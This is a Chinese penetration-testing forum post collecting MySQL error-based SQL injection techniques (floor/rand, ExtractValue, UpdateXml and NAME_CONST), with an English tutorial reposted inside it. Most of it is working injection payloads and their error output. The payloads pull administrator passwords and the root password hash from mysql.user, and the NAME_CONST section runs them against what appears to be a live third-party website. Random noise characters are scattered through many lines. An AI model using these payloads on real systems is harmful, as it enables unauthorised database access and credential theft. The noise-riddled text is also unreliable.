中国网络渗透测试联盟
标题: mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法 [打印本页]
作者: admin 时间: 2015-11-11 19:03
标题: mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法
1、通过floor报错
可以通过如下一些利用代码
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
举例如下：
) G* z: }5 V y' W# q首先进行正常查询：
mysql> select * from article where id = 1;) P# M: \6 i7 {+ P8 |2 G5 U5 G) @
+—-+——-+———+, n9 c' {& f; }
| id | title | content |
+ N$ |9 y* Q6 Z# r- X" k+—-+——-+———+
, S7 Y4 F/ S+ X# {$ ^| 1 | test | do it |
0 W. _' D; b5 D" T! E2 k+ N+—-+——-+———+
假如id输入存在注入的话，可以通过如下语句进行报错。
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
% o! j9 t6 o: `2 G0 I" L5 zERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
' Q1 m" e6 L6 r' n% {4 d例如我们需要查询管理员用户名和密码：
Method1:
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);! F7 a! A/ \5 E
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’
Method2:
mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));( b" \. u- j2 y* i$ f. u
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’
2、ExtractValue
8 o: Z. Y3 q2 E+ A( [8 m2 S测试语句如下
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
, x* W) X" o( H# ^% ~ERROR 1105 (HY000): XPATH syntax error: ’\admin888′
3、UpdateXml
测试语句
and 1=(updatexml(1,concat(0x3a,(select user())),1))
实际测试过程
mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
5 F4 R9 Q; v7 W$ O+ D& E4 l9 K" m/ {5 p
再收集：
. O0 T0 B4 o8 _0 W' a, x
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c) 7 t' k3 i4 @" ]5 L' T0 {8 m( J3 q% y
# }# a+ X1 ~: F Z# Z) yError
uplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
2 O$ w0 G! {' j5 v& l7 V& S. ~- R6 b1 u5 y3 M- ?! N8 g6 n* B. o; Y
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)% V& B/ z/ I' L/ ~! R4 H' b
9 O5 {8 z8 d6 XErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
6 p- i7 X1 y: Q: p. s
! M+ D5 A; i( a2 ~7 s+ IMYSQL高版本报错注入技巧-利用NAME_CONST注入
/ h9 u$ R6 w$ F3 z- v; A& ?It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
0 U$ }2 }& j" t; l5 e/ P" y) w- S6 {
; ?1 {' Z4 ?8 B4 c C
相关信息2 O" G8 _3 i' g0 Q
" `% @% t7 I: [9 J; q
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
( c' M* p# c9 m# ], s, p5 {; G7 b( l. y5 T& C
Code:
; K! F2 F2 \8 H1 X( B$ H; z- pNAME_CONST(DATA, VALUE) {) B% f, ~6 r3 l. s/ _5 M' \8 K
; @! k/ P) {( S; E
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.! r' N# g- p# J: ? @
6 w5 g8 ?! j1 ~; K$ X- F( iSELECT NAME_CONST('TEST', 1)6 H2 E0 D; M/ G5 H& Q
1 b! q* B0 l& ^3 }' R- ~/ x) ]( q& j8 o2 f
- `- y% h M6 w- B, d: U
|---------------|
& b/ Y: H( z4 m) l: ^ L/ b5 D| TEST |
. O7 \6 H* e/ W| |" h$ @- _# R, `' `. u: z
|---------------|
/ g( P% g9 c: ^| 1 |
$ u6 b6 K* I/ p| |
" d4 j6 k$ z, ?- ~" U|---------------|: G( ^! w8 R9 [
+ S! B; y |2 Y
* h! x, C7 ]5 ^; A! F, a
8 W2 Z/ a! R. U& ] @1 x. p5 K
: o* A- A( h+ ?. jhttp://dev.mysql.com/doc/refman/5.0/en/m...name-const O6 E% {% j6 r+ ~- A1 A% V2 A
Intro to MySQL Variables
8 \0 ?9 f# D: Z- |
( G! O) N8 i. P4 _' BOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
' b4 Q5 |" H. R [0 b* `6 X4 H# @4 U4 w. w* @% k: C7 q7 p. h B7 O
Code:' ^9 T. I+ y# {2 Y" U6 p
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
8 M1 h3 P7 l8 I- @7 a" ?- j' B# c1 s- l1 s3 k0 w5 i
5 h' U: {$ g* h% K, l- U
0 C7 o" x* P3 @/ X- d' n! ?! M0 n
6 G) V* @+ d c& K1 @
* L. I8 Y" L8 H! uCode:
# y. w7 U+ t8 M* M- h% cand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
5 @# ^- _, J+ h3 @
3 b# \( Y1 p4 j# C# [
* s2 x2 o3 q0 F+ t) _5 \VAR = Your MySQL variable.
, @0 i3 i! f7 B: T- \( g2 b/ E
! l, J& _# K4 X+ s! lMySQL 5.1.3 Server System Variables' i- A5 w9 A6 T2 J+ o7 r1 u! k
4 Y( j1 |7 x' Z1 TLet's try it out on my site..
- A" A/ h+ } Q8 R5 u
% ^: P* _; [# q6 U5 r/ qCode:3 k( M2 a4 D* o- W3 \
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
7 D: c. o$ x) F, I% z0 z* i. r" a
Erroruplicate column name '5.0.27-community-nt'
- j- }- T0 ?8 d% ?( W% q. J. k* Q; p- Z. ^- k [% C k6 y
# m5 `2 _. W* W/ u
$ Y% {; Z, e/ k u" N8 r. n- z
% e q7 S9 m. M$ a6 _7 Z3 a* J: p4 d1 M" G5 p7 B0 l$ C
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
, B! _" H/ P. v- @5 ~/ N
& O$ x+ y. C8 k2 z3 `Data Extraction
; r2 P# B/ W/ y8 P* z. ^/ m$ y8 i \
Code:. [* l# z1 e6 [# b: Z
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--) W- i& s0 G" k( O. d& Q
7 T; C4 _$ T0 m% n, B- m8 k
/ X4 |5 f' ]. A. _' HWe should get a duplicate column 1 error...
4 L: \% b: P7 y" A5 V' x `" j2 n, ~6 i5 T9 _
Code: ?9 H! t0 d% i9 V- u/ L) D, U( F
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--9 P& p$ x+ P7 o4 j/ L
1 k$ h4 m# f/ e2 l( Q& g4 L
Erroruplicate column name '1. g4 ^8 |; @4 G. ^9 q- J- u' t
/ V) U6 ?: P' r' k5 o \, y
: g$ ]2 x) c4 K- q
# o! K& Z l( i# E% Q# ^* a; C; G1 |+ ^
/ I& ~5 G+ X& }7 O2 P1 t. ~. E9 X J
' \+ c5 o* ?" }* \
Now let's get the tables out this bitch..
; @: V- i: f! J) R7 F+ E* E
v" X# R2 `2 c2 {2 mCode:
. e6 Z" J/ H9 A' W- d. g9 E# u: n+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--+ y8 q- F/ c0 n! ], m4 W
/ h- X8 K& B7 w
. W( l3 e' [% N [3 r' RLet's see if it works here, if it does, we can go on and finish the job.& U1 `/ p! `& c# i+ N
( f. n4 C3 {; v- p: ?6 Q* T+ NCode:7 c( J: V) d! \ m
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
+ z0 M' A& d7 S _( C" C
% i9 V I2 I5 r" [* Q) M- m5 b a4 B& S* C- }
Erroruplicate column name 'com_admanage
! g F1 E9 g; y4 @* H1 a! v/ r! ?, T0 U
% _- s) a; v7 c+ a' g& I! e7 | w% `! ?8 I! B
3 H- I5 x; f b4 C; B& T, {
) a% i" A9 k$ M, g
; }# j+ v! r0 P& L! a+ V. U
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
3 w$ }( B0 _' x4 ?: s1 d4 }. ^* m& w/ G; z
Let's get the columns out of the user table..% P6 O2 E0 A* \* |, \9 I4 F
2 I4 B, P- O: {0 OCode:# t+ @1 }( n' P' e% Q
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
8 H1 n1 v1 k9 V5 B2 H3 k- s2 x0 a- q$ `7 Y$ Y6 S
$ b% I {, A s& c/ R: y3 W& }So mine looks like this, and I get the duplicate column name 'Host'.
8 g8 V O1 l3 l; b2 f8 c( `! R
E& J6 ~) g, D$ x; R. K) GCode:/ \5 [: C; k" b0 h" ?" A# w# Q
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
2 W) j$ p4 B& G6 _ }1 S
( v' G4 K9 K' AErroruplicate column name 'Host'
. d& T8 |2 |; j) y# h1 M) s# u1 E8 d; V. x5 o* ]4 z2 H; h
" E+ I# r6 q$ a9 z' M1 C$ T1 B
( l& W5 Q4 n2 ~0 Q( q
, i/ g$ w. w5 ?2 B B: @( g {5 {2 f2 U# o9 O
8 _# L) L" `" l4 c
Woot, time to finish this bitch off.
6 {0 `. W) D. s6 n
- l8 h1 o4 ?# D0 g. ECode:' p1 [! C. }$ l0 \
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
& {) i, Y# E: g; v* [
3 o$ p- a! q+ E0 C/ o& M7 f2 ?
' f2 c& H! C& j. x0 u. k6 ]% JSo mine looks like this...& h m. N3 |, `8 C* S# G
: O% k% O$ X6 N1 e( WCode:# y" h- _* k, R& P8 l; c& ?3 C/ S
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--9 s8 q1 L$ m0 z$ p" d3 E% @5 _
, R2 Z$ Z2 T8 A* a z9 L# }# OErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'1 ~8 @) e0 \% P" e5 l
, y2 l$ U8 y5 m7 C% j1 g
) ^% q' j) G7 @5 s# |
/ o+ w6 C( U( q. z; \/ R! t# h: |9 P5 _
c% u6 f" d( C( T) U1 r
! X3 r2 z6 P3 k0 WAnd there we have it, thanks for reading.2 c+ w6 v) u8 S
+ z c7 j) F$ ]
| 欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) |
Powered by Discuz! X3.2 |